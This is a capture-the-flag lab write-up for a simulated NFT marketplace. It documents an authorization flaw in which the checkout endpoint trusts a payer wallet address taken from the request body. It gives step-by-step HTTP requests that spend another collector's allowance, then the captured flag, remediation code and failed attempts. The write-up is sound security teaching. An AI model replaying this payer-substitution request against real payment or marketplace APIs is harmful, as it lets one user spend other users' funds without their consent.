BugForge — 2026.11.10

Critterly: Confused Deputy Payer Substitution on Checkout

BugForge Confused Deputy Payer Substitution medium

Executive Summary

Critterly is a BugForge lab presenting a virtual pet NFT marketplace running on a simulated local chain. The backend is a JSON API that re-implements the chain’s contracts server-side: a Clover ERC-20 token, a Critterly Creatures ERC-721 with a built-in market, and a Quick Checkout router that purchases listings against a pre-approved standing allowance. Testing confirmed one finding:

ID Title Severity CVSS CWE Endpoint
F1 Checkout honors the payer address from the request body, spending another collector’s standing allowance High 7.1 CWE-639 POST /api/actions

The /api/actions dispatcher takes the checkout action’s account parameter, the paying wallet, from the request body instead of binding it to the authenticated session. A single request spent 165 CLV from another collector’s standing allowance and delivered the purchased creature to our wallet. The flag was returned as a new top-level flag key in GET /api/state once that request completed.


Objective

Capture the flag on the Critterly lab. The hint provided with the lab was “Web3.”


Scope / Initial Access

# Target Application
URL: https://lab-1794345872461-vw47hl.labs-app.bugforge.io/

# Auth details
POST /api/auth/register {name, email, password} opens a session.
CSRF token comes from GET /api/auth/me and rides as X-CSRF-Token on every POST/PATCH.
Starting privileges: role "collector", managed demo wallet, 1000 CLV balance.

Registration is open and unauthenticated reads of the state endpoint are rejected, so the entire test ran from a fresh collector account with no special privileges.


Reconnaissance: Reading the Bundle and the Contract ABIs

The application surface was mapped from the single-page bundle and the API’s own machine-readable contract documentation before any probing.

  1. A strict content security policy (default-src 'self'; script-src 'self'; connect-src 'self') and a single 267 KB Vite/React bundle mean the app makes no external calls; all game logic runs server-side behind /api.
  2. POST /api/actions is a single dispatcher for every state change. Its body is ABI-shaped: {action, id, amount?, recipient?, offered?, duration?, auction?, parentA?, parentB?}, and the response carries a receipt with a block number.
  3. GET /api/contracts returns full ABIs for three contracts. Clover is an ERC-20 with an owner-only grant mint. Critterly Creatures is an ERC-721 with a market: buy(n, expectedPrice), bid, list, offer, breed, settle, withdraw. The Quick Checkout router exposes checkout(account, tokenId, maxPrice, recipient).
  4. GET /api/state shows six seeded collectors (balances 780 to 1150, several holding a 300 CLV standing allowance), 38 creatures, and fixed-price and auction listings owned by collectors 2, 3, and 4.
  5. The frontend fills price fields from server state and never sends account on checkout. recipient is the advertised gift field; account is the ABI’s payer parameter and the unadvertised axis.
  6. The “Web3” hint framed the test plan: on a real chain the payer is bound by the transaction sender, so any parameter a simulation re-implements server-side is a candidate for a missing binding.

Application Architecture

Component Detail
Backend Server-side simulation of a local chain; JSON API under /api; state changes return a receipt with a block number
Frontend Vite/React SPA, single 267 KB bundle, hash routing (marketplace, trades, collectors, wallet, explorer, settings)
Auth Session plus CSRF token (X-CSRF-Token header on POST/PATCH); registered role “collector”
Simulated chain Clover ERC-20 (owner grant mint, approve/allowance/transferFrom), Critterly Creatures ERC-721 with market, Quick Checkout router

API Surface

Endpoint Method Auth Notes
/api/state GET Yes Full world state: balances, allowances, creatures, listings; gained a top-level flag key post-exploit
/api/auth/me GET Yes Returns the user object and the CSRF token
/api/auth/register, /api/auth/login POST No Email and password
/api/contracts GET Yes ABIs for the three contracts
/api/actions POST Yes Action dispatcher; body is ABI-shaped
/api/creatures/:id/history GET Yes Per-creature event history

Known Users

Username ID Role Notes
River Park collector-3 collector Wallet 0x9365…599B, standing allowance 300 CLV (victim in the confirmed finding)
Our registration (new) collector Wallet 0x0308…, 1000 CLV starting balance

Attack Chain Visualization

┌────────────────────────┐     ┌────────────────────────┐     ┌────────────────────────┐     ┌────────────────────────┐
│ Register collector,    │────▶│ checkout id:20,        │────▶│ Server honors account  │────▶│ GET /api/state:        │
│ enable Quick Checkout  │     │ amount: 165,           │     │ as payer: 165 CLV      │     │ allowance 300 to 135,  │
│ standing allowance     │     │ account: 0x9365…599B   │     │ leaves victim;         │     │ new top-level          │
│                        │     │ (body, not session)    │     │ creature #20 to us     │     │ flag key               │
└────────────────────────┘     └────────────────────────┘     └────────────────────────┘     └────────────────────────┘

Findings

F1: Checkout Honors the Payer Address From the Request Body, Spending Another Collector’s Standing Allowance

Severity: High CVSS v3.1: 7.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N) CWE: CWE-639 (Authorization Bypass Through User-Controlled Key) Endpoint: POST /api/actions Authentication required: Yes

Description

The /api/actions dispatcher forwards ABI-shaped action bodies to the simulated contracts. For the Quick Checkout router’s checkout(account, tokenId, maxPrice, recipient), the account parameter, which names the paying wallet, is taken from the request body and honored as the source of funds. On a real chain the payer is bound by the transaction sender; this simulation re-implements that binding on the server and let the request body supply it instead. The frontend never sends account. recipient is the advertised gift field, so the recipient axis is a documented feature while the payer axis is unadvertised.

Two adjacent price parameters are honestly enforced: buy(n, expectedPrice) rejects underpayment with “Price changed or own listing”, and checkout’s maxPrice rejects underpayment with “Price changed”. The defect is principal binding, not price checking.

Impact

Any authenticated collector can spend another collector’s pre-approved Quick Checkout allowance and take delivery of the purchased creature in a single request, with no victim interaction.

Reproduction

Step 1: Register and establish a session

POST /api/auth/register HTTP/1.1
Host: lab-1794345872461-vw47hl.labs-app.bugforge.io
Content-Type: application/json

{"name":"<name>","email":"<email>","password":"<password>"}

Response: {"ok":true}. The session cookie is set, and GET /api/auth/me returns the user object (role collector) plus the CSRF token used as X-CSRF-Token on subsequent writes.

Step 2: Enable the Quick Checkout standing allowance

POST /api/actions HTTP/1.1
Host: lab-1794345872461-vw47hl.labs-app.bugforge.io
Content-Type: application/json
X-CSRF-Token: <csrf from GET /api/auth/me>

{"action":"checkout-enable","amount":300}

Response: a receipt with an Approval event of 300 CLV to the Quick Checkout router. Our wallet now holds a standing allowance the router can spend, which is the normal precondition for the checkout flow.

Step 3: Purchase creature #20 through Quick Checkout, naming another collector’s wallet as the payer

River Park’s wallet address comes from the world state returned by GET /api/state (Reconnaissance observation 4).

POST /api/actions HTTP/1.1
Host: lab-1794345872461-vw47hl.labs-app.bugforge.io
Content-Type: application/json
X-CSRF-Token: <csrf from GET /api/auth/me>

{"action":"checkout","id":20,"amount":165,"account":"0x93659f5fe9b724F7A350251C285632858689359B"}

Response: 200 with a receipt. The recorded receipt events:

Transfer(0x9365…599B -> 0x5F0F…(router), 165)      # victim's wallet pays the router
Transfer(0x5F0F…(router) -> 0x9699…(seller), 165)  # router pays the seller
Transfer(0x9699…(seller) -> 0x5F0F…(router), tokenId 20)
Transfer(0x5F0F…(router) -> 0x0308…(our wallet), tokenId 20)
QuickCheckout(account=0x9365…599B, recipient=0x0308…, tokenId=20, seller=0x9699…, price=165)

The server-generated events name the victim’s wallet as payer and our wallet as recipient. The request spent River Park’s standing allowance, not ours.

Step 4: Confirm the state change and collect the flag

GET /api/state HTTP/1.1

Response: River Park’s quickAllowance reads 135 (300 before the request), our creature list now includes #20, and the body carries a new top-level flag key: bug{BnJSp9B2nd925KkBZMnzl29Bibi8WPYw}.

Note: the victim’s spendable CLV balance moved by 25 while the standing allowance moved by 165; the simulation accounts for the two values separately. Recorded as observed; it does not change the finding.

Remediation

Fix 1: Bind the payer to the session principal

// BEFORE (vulnerable): the payer comes from the request body
const { action, id, amount, account, recipient } = req.body;
const receipt = router.checkout(account, id, amount, recipient);

// AFTER (secure): the payer is the session's own wallet;
// any client-supplied account value is ignored
const { action, id, amount, recipient } = req.body;
const receipt = router.checkout(
  session.walletAddress,
  id,
  amount,
  recipient ?? session.walletAddress
);

Additional recommendations:

  • Reject or strip ABI parameters the session does not own before dispatching any action. A parameter that is silently ignored is indistinguishable from one that is honored when the response is a 200 receipt.
  • Apply the same session binding to every action that moves funds (buy, bid, offer, breed), since each ABI carries wallet-shaped parameters.
  • Monitor receipt events for a payer address that differs from the authenticated session’s wallet.

Flag / Objective Achieved

bug{BnJSp9B2nd925KkBZMnzl29Bibi8WPYw}

The flag was delivered as a new top-level flag key in GET /api/state, present only after the checkout with the substituted payer completed.


OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: The dispatcher accepts a payer identity from the request body and acts on another collector’s wallet; authorization was never enforced on the principal, only on the session’s presence.
  • A04:2021 Insecure Design: The checkout flow exposes an ABI parameter that a real chain deployment would bind implicitly to the transaction sender. The simulation’s design left that binding to the client.

Tools Used

Tool Purpose
Caido Intercepting proxy for bundle capture and request replay
Web browser SPA interaction, wallet and marketplace flows

References


Failed Approaches

Approach Result Why It Failed
buy with amount:1 (underpaying the expectedPrice axis) {"error":"Price changed or own listing"} The server compares the client value against the real listing price
checkout with maxPrice:1 {"error":"Price changed"} maxPrice is honestly enforced against the listing price
Unauthenticated GET /api/state and POST /api/actions 401 “Please sign in.” Both the state read and the dispatcher require a session

Tags: #webapp #web3 #confused-deputy #access-control #bugforge Document Version: 1.0 Last Updated: 2026-11-10

#webapp #web3 #confused-deputy #access-control #bugforge